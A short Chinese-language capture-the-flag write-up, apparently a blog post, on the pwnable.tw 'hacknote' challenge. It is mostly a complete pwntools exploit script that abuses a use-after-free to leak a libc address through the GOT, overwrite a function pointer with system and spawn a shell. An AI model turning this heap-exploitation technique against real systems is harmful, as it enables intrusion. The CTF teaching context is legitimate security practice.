pwnable.tw 堆一hacknote

分析程序

漏洞很简单,free掉两个指针之后没有清空,可以uaf,程序有执行函数地址的函数,因此可直接劫持流程
踩了n多坑,发篇文章纪念一下

exp

from pwn import *
 
p = remote("chall.pwnable.tw",10102)
#p=process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
read_got = elf.got["read"]
pfputs = 0x804862b
 
def add_note(size,index):
      p.recvuntil("choice :")
      p.sendline("1")
      p.recvuntil("size :")
      p.sendline(size)
      p.recvuntil("Content :")
      p.sendline(index)
 
def delete_note(index):
      p.recvuntil("choice :")
      p.sendline("2")
      p.recvuntil("Index :")
      p.sendline(index)
 
def print_note(index):
      p.recvuntil("choice :")
      p.sendline("3")
      p.recvuntil("Index :")
      p.sendline(index)

#p.interactive()
add_note("16","aaaaa")
add_note("16","aaaaa")
delete_note('0')
delete_note('1')
add_note('8',p32(pfputs)+p32(read_got))
print_note('0')

pfread = u32(p.recv()[0:4])
print hex(pfread)
pfsys = pfread - 0xd41c0 + 0x3a940
print hex(pfread - 0xd41c0)
#p.interactive()
delete_note('2')
#p.interactive()
#p.recv()
#p.interactive()
add_note('8',p32(pfsys)+"||sh")
print_note('0')
p.interactive()

你可能感兴趣的:(pwnable.tw 堆一hacknote)